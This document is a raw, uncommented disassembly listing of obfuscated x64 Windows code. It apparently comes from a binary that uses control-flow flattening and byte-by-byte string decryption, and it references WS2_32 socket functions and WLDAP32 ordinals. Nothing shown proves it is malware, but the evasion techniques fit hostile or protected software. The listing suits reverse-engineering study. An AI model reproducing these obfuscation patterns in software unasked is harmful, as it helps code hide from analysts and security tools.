movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14020f662
movabs rcx, 0x5f75d2750ca696c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r14b
jmp 0x14020f691
movabs rdx, 0xab112639fc7e1b44
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020f6f1
movabs rdx, 0xf6ac79feec559fc8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x14020f7d5
movabs rdx, 0x4247cdc3dc2d244c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
jmp 0x14020f232
movabs rdx, 0x8de32188cc04a8d0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14020f884
movabs rdx, 0x4ae772f5239f741a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
mov byte [rbp + r9 + 0x740], bl
jmp 0x14020f893
movabs rdx, 0x9682c6ba1376f89e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x52
jmp 0x14020f3ab
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x14020f364
movabs rdx, 0x2db96e43f32601a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14020f338
movabs rdx, 0x64c66288f9f66384
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14020f882
movabs rdx, 0xb061b64de9cde808
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x14020f831
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14020f7d5
movabs rcx, 0x47985dd7c97cf110
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x14020f6f1
movabs rcx, 0x9333b19cb9547594
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x14020f691
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_46
jmp 0x14020f0a8
movabs rcx, 0x2a6a592699037e9c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x14020f7ae
movabs rdx, 0x7605aceb88db0320
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14020f49d
movabs rdx, 0xc1a100b078b287a4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x14020f762
lea rax, [r10 + 8]
cmp rdi, rax
jae 0x14020f3e2
movabs rdx, 0xda32561d88143dbe
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x32
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 6
je 0x14020f696
lea rax, [r10 + 0x10]
cmp rdi, rax
jbe 0x14020f4b4
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp rdi, r14
jae 0x14020f641
lea rax, [r10 + 0x200]
cmp rdi, rax
jbe 0x14020f581
movabs rdx, 0xe41f9575967bc6dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
cmp r10, 0x1000
jb 0x14020f18c
movabs rdx, 0xf00e4fc4381099b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14020f764
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14020f40e
movabs rcx, 0xcc4220d85352212c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x14020f884
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14020f428
movabs rdx, 0x350b794e73a31824
mov ecx, esi
jmp 0x14020f248
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14020f457
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020f691
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14020f481
movabs rdx, 0x52397dffa41c8a98
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x28
jmp 0x14020f665
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14020f33a
movabs rdx, 0xbb02d675c46d8190
mov ecx, 8
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020f788
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14020f4de
movabs rdx, 0xb26331447cfb31c2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4e
jmp 0x14020f762
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14020f508
movabs rdx, 0xcf9135f5ad74a436
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7a
jmp 0x14020f665
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14020f525
movabs rdx, 0x83f5e230bd9d1fb2
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x14020f440
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14020f551
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x42
jmp 0x14020f6f1
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14020f376
movabs rcx, 0x5588931cfe3f0da2
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6e
jmp 0x14020f884
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14020f5ad
movabs rcx, 0x988441b0a6a44258
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x14020f884
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14020f5d7
movabs rdx, 0x14d9a26c6f53950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x14020f7d5
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14020f5f4
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x14020f440
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14020f611
movabs rdx, 0xd2e04b1307972740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14020f79c
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14020f3ad
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x24
jmp 0x14020f788
movabs rdx, 0xa472fbff48391530
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x740]
sub bl, al
sub bl, 0x50
add bl, r8b
add bl, dl
movabs rdx, 0x7ea5521cd04d52ee
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x740], cl
add rdi, r10
jmp 0x14020f6f1
movabs rdx, 0x58d7a83a586190ac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x740]
jmp 0x14020f255
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x14020f248
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x72
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x14020f893
movabs rcx, 0x34f151d5a22830a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x46
jmp 0x14020f7ae
movabs rdx, 0x9a85bca739d18c12
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7e
jmp 0x14020f762
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rcx, 0xca40a5e1c024d772
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1e
add cl, r8b
mov byte [rbp + r9 + 0x740], cl
add r10, r15
jmp 0x14020f7ae
movabs rdx, 0xc8f30bbaf92f9e22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
sub r9, r15
jmp 0x14020f893
mov r8, r11
movabs rdx, 0xf7605aceb88db032
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov bl, r11b
sub bl, al
sub bl, 0x5e
add bl, dl
movabs rdx, 0x3309fe57e075ce6a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x740], al
add r10, r15
add rax, r10
sub r9, rax
jmp 0x14020f831
movabs rdx, 0x42fbae93a86534b6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
mov r8b, r11b
movabs rcx, 0xd3c5475688a0c28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x740], cl
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x14020f884
movabs rdx, 0x8e970258983cb93a
add rdx, r9
mov al, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
movzx eax, byte [rbp + r9 + 0x740]
add rax, r10
add r9, rax
add r9, r15
jmp 0x14020ed27
movabs rdx, 0x5c26bd57b28413b6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020ed24
movabs rdx, 0xa7c2111ca25b983a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020ed14
lea rdx, [rbp + 0x15982e8]
jmp 0x14020f900
lea rdx, [rbp + 0x16dc0a6]
jmp 0x14020f900
lea rdx, [rbp + 0x740]
lea rcx, [rbp + 0xd8]
call fcn.14009ef00
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2410]
call fcn.14026a60a
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14020f935
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x2410]
call fcn.14018c840
nop
lea rcx, [rbp + 0x2410]
call fcn.140266950
nop
lea rcx, [rbp + 0x2410]
call fcn.1400a3400
nop
mov rcx, rbx
call fcn.1400aacb0
mov byte [rbp + 0xb50], 0xe3
mov byte [rbp + 0xb51], 0xad
mov byte [rbp + 0xb52], 0xec
mov byte [rbp + 0xb53], 0xab
mov byte [rbp + 0xb54], ntohl
mov byte [rbp + 0xb55], 0xa9
mov byte [rbp + 0xb56], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xb57], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xb58], 0x3d
mov byte [rbp + 0xb59], __WSAFDIsSet
mov byte [rbp + 0xb5a], r13b
mov byte [rbp + 0xb5b], __WSAFDIsSet
mov byte [rbp + 0xb5c], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xb5d], __WSAFDIsSet
mov byte [rbp + 0xb5e], reloc.WS2_32.dll_listen
mov byte [rbp + 0xb5f], 0x9f
mov byte [rbp + 0xb60], 7
mov byte [rbp + 0xb61], 0x9d
mov byte [rbp + 0xb62], 5
mov byte [rbp + 0xb63], 0x9b
mov byte [rbp + 0xb64], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xb65], 0x99
mov byte [rbp + 0xb66], Ordinal_46
mov byte [rbp + 0xb67], 0x87
mov byte [rbp + 0xb68], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xb69], 0x85
mov byte [rbp + 0xb6a], Ordinal_217
mov byte [rbp + 0xb6b], 0x83
mov byte [rbp + 0xb6c], 0x3d
mov byte [rbp + 0xb6d], 0x81
mov byte [rbp + 0xb6e], Ordinal_50
mov byte [rbp + 0xb6f], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xb70], Ordinal_46
mov byte [rbp + 0xb71], Ordinal_143
mov byte [rbp + 0xb72], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xb73], Ordinal_143
mov byte [rbp + 0xb74], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xb75], Ordinal_143
mov byte [rbp + 0xb76], 0x64
mov byte [rbp + 0xb77], 0xf7
mov byte [rbp + 0xb78], 0x5c
mov byte [rbp + 0xb79], 0xf5
mov byte [rbp + 0xb7a], 0x62
mov byte [rbp + 0xb7b], 0xf3
mov byte [rbp + 0xb7c], 0xaa
mov byte [rbp + 0xb7d], 0xf1
mov byte [rbp + 0xb7e], 0xa2
mov byte [rbp + 0xb7f], 0xff
mov byte [rbp + 0xb80], 0xae
mov byte [rbp + 0xb81], 0xfd
mov byte [rbp + 0xb82], 0x57
mov byte [rbp + 0xb83], 0xfb
mov byte [rbp + 0xb84], 0x60
mov byte [rbp + 0xb85], 0xf9
mov byte [rbp + 0xb86], Ordinal_79
mov byte [rbp + 0xb87], 0xe7
mov byte [rbp + 0xb88], 0xb6
mov byte [rbp + 0xb89], 0xe5
mov byte [rbp + 0xb8a], 0x77
mov byte [rbp + 0xb8b], 0xe3
mov byte [rbp + 0xb8c], 0x7d
mov byte [rbp + 0xb8d], 0xe1
mov byte [rbp + 0xb8e], 0x47
mov byte [rbp + 0xb8f], 0xef
mov byte [rbp + 0xb90], 0xec
mov byte [rbp + 0xb91], 0xed
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb92], xmm0
mov qword [rbp + 0xba2], rax
mov byte [rbp + 0xbaa], al
mov bl, byte [rsp + 0x50]
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x5b
jae 0x140210715
movzx r8d, byte [rbp + r9 + 0xb50]
mov r11, r8
cmp rdi, r9
ja 0x14021070c
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14020fbb7
movabs rcx, 0xfa317cbfea226b1a
add rcx, r9
mov rax, r8
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r8
add rbx, rcx
add bl, 0x4a
jmp 0x14020fbf1
je 0x140210687
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1402105fd
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1402105c8
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14021057e
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140210555
cmp r10, r9
ja 0x140210703
lea rax, [r10 + 0x7a]
cmp rdi, rax
jae 0x14020fc17
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x14020fdfe
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140210511
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1402104f1
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1402104ce
lea rax, [r10 + 7]
cmp rdi, rax
je 0x1402104ab
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x140210198
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140210177
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x140210163
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x140210140
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14021011e
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1402100f8
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1402100d6
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1402100c2
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1402100a0
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x14021008c
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14020fc58
lea rdi, [r10 + 0x61]
lea r10, [rdi + 0x1000]
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x1402106e1
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x1402106bb
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14020fe38
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x14020fe15
lea rax, [r10 + 2]
cmp rdi, rax
jb 0x14020fdef
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x140210031
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14020ffd6
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x14020ff88
lea rdi, [r10 + 0x80]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14020ff66
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x14020ff45
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14020ff21
lea rax, [r10 + 9]
cmp rdi, rax
ja 0x14020fefe
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x14020feea
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14020fec8
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x14020fea2
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x14020fe7f
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14020fe5e
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14020fc58
lea rdi, [r10 + 0x1000]
lea r10, [rdi + 0x400]
jmp 0x14020fc58
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14020fc4b
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x66
add bl, dl
jmp 0x14020fbf1
movabs rdx, 0xf018c93478267ab6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020fb80
movabs rdx, 0x3079ddf1a6964910
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x14021052d
movabs rcx, 0x3c16e471d25172dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
jmp 0x140210573
movabs rdx, 0x47b3eaf1fe0c9ca8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140210576
movabs rcx, 0x5350f17229c7c674
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x2c
jmp 0x14021059c
movabs rdx, 0x5eedf7f25582f040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1402105d7
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x54
jmp 0x1402105ec
movabs rdx, 0x762804f2acf943d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14021061f
movabs rdx, 0x81c50b72d8b46da4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x1402104c7
movabs rcx, 0x8d6211f3046f9770
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x10
jmp 0x1402106a4
movabs rcx, 0xb607a8b39d7ea9ba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x16
cmp r10, 0x41
jb 0x140210449
movabs rdx, 0xafb7b47749b6ac5c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 8]
jmp 0x14021052f
movabs rdx, 0xc1a4af33c939d386
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, 3
jae 0x140210456
lea rcx, [r10 + 2]
cmp rdi, rcx
jbe 0x14021038f
movabs rdx, 0x23d9f578ff064e54
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4c
add bl, dl
jmp 0x14020ffa5
movabs rcx, 0xcd41b5b3f4f4fd52
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3e
lea rax, [r10 + rdi]
cmp rax, 0x5a
je 0x140210482
lea rax, [r10 + 0x41]
cmp rdi, rax
jbe 0x1402102ae
movabs rdx, 0x9dcab9baca338532
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5e
add bl, dl
jmp 0x14020fff7
movabs rdx, 0x245b66753cf0b6cc
mov ecx, gethostname
jmp 0x1402101df
movabs rcx, 0x2ff86cf568abe098
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x28
jmp 0x140210651
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
jmp 0x14021020a
movabs rcx, 0x473279f5c0223430
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x50
jmp 0x1402105ec
movabs rdx, 0x52cf8075ebdd5dfc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1402105e9
movabs rcx, 0x5e6c86f6179887c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x14021059c
movabs rcx, 0x6a098d764353b194
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x140210576
movabs rdx, 0x75a693f66f0edb60
mov ecx, Ordinal_50
jmp 0x140210297
movabs rdx, 0x81439a769aca052c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x34
jmp 0x14021052d
lea rcx, [r10 + 2]
cmp rdi, rcx
jae 0x1402101c7
movabs rdx, 0xfa317cbfea226b1a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14021004e
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1402101f6
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1402106a4
cmp rdi, rcx
jne 0x140210221
movabs rdx, 0xf4e46a7c122f3eac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140210621
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140210250
movabs rdx, 0xd20d56fb8efdc148
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14021059c
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14021027b
movabs rcx, 0xc670507b6342977c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
jmp 0x140210576
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14021004e
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_26
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140210573
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1402102db
movabs rdx, 0x922db33a9e785b66
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14021052d
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14021030a
movabs rdx, 0x7af3a63a470207ce
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140210576
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140210335
movabs rcx, 0x63b99939ef8bb436
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
jmp 0x1402105e9
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140210360
movabs rcx, 0x4c7f8c399815609e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x52
jmp 0x140210621
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14020fff7
movabs rcx, 0x35457f39409f0d06
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x2a
jmp 0x1402106a4
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1402103ac
movabs rdx, 0x183ceef8d34b2488
mov ecx, 0x24
jmp 0x1402101df
cmp rdi, rcx
jne 0x1402103d2
movabs rdx, 0xc9fe878a78ffabc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x24
jmp 0x1402104c7
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1402103fd
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x1402105e9
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14021041a
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_46
jmp 0x140210297
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14020ffa5
movabs rcx, 0xbb54baf77571d628
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x14021052f
mov byte [rbp + r9 + 0xb50], bl
jmp 0x1402106b3
movabs rdx, 0xa41aadf71dfb8290
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0xb50]
add bl, r8b
jmp 0x14021059a
movabs rdx, 0x987da776f24058c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, byte [rbp + r9 + 0xb50]
sub bl, 0x5c
jmp 0x14021061f
movabs rdx, 0x292707bcd6f97ac2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4e
add bl, dl
jmp 0x140210651
movabs rcx, 0x406114bd2e6fce5a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x76
jmp 0x1402105ec
movabs rcx, 0x6338283db1a14bbe
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x140210576
movabs rdx, 0x7a72353e09179f56
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5a
add bl, dl
movabs rcx, 0xa9e9313733d91776
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x3a
add cl, r8b
mov byte [rbp + r9 + 0xb50], cl
